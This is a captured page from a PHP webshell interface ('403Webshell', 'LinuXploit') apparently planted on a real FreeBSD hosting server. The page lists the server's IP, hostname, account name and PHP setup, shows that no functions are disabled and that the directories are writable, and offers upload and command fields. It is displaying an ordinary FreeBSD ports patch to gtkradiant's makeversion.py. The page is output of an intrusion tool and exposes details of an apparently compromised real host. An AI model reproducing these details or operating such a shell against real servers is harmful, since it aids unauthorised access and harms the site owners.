403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/games/gtkradiant/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/games/gtkradiant/files/patch-makeversion.py
--- makeversion.py.orig	2006-02-12 19:47:01 UTC
+++ makeversion.py
@@ -37,15 +37,13 @@
 # ouput:
 #   include/aboutmsg.h
 
-import sys, re, string, os
+import sys, re, string, os, platform
 
-import svn
-
 def get_version():
   # version
   f = open('include/version.default', 'r')
   buffer = f.read()
-  line = string.split(buffer, '\n')[0]
+  line = buffer.split('\n')[0]
   f.close()
   sys.stdout.write("version: %s\n" % line)
   exp = re.compile('^1\\.([^\\.]*)\\.([0-9]*)')
@@ -68,12 +66,9 @@ def radiant_makeversion(append_about):
   f = open('include/RADIANT_MAJOR', 'w')
   f.write(major)
   f.close()
-  f = open('include/version', 'w')
-  f.write(line)
-  f.close()
   # aboutmsg
   aboutfile = 'include/aboutmsg.default'
-  if ( os.environ.has_key('RADIANT_ABOUTMSG') ):
+  if ( 'RADIANT_ABOUTMSG' in os.environ ):
     aboutfile = os.environ['RADIANT_ABOUTMSG']
   line = None
   if os.path.isfile(aboutfile):
@@ -82,7 +77,7 @@ def radiant_makeversion(append_about):
     line = f.readline()
     f.close()
   else:
-    line = "Custom build based on revision " + str(svn.getRevision(os.getcwd()))
+    line = "Custom build for %s (%s)" % (platform.system(), platform.machine())
   # optional additional message
   if ( not append_about is None ):
     line += append_about

Youez - 2016 - github.com/yon3zu
LinuXploit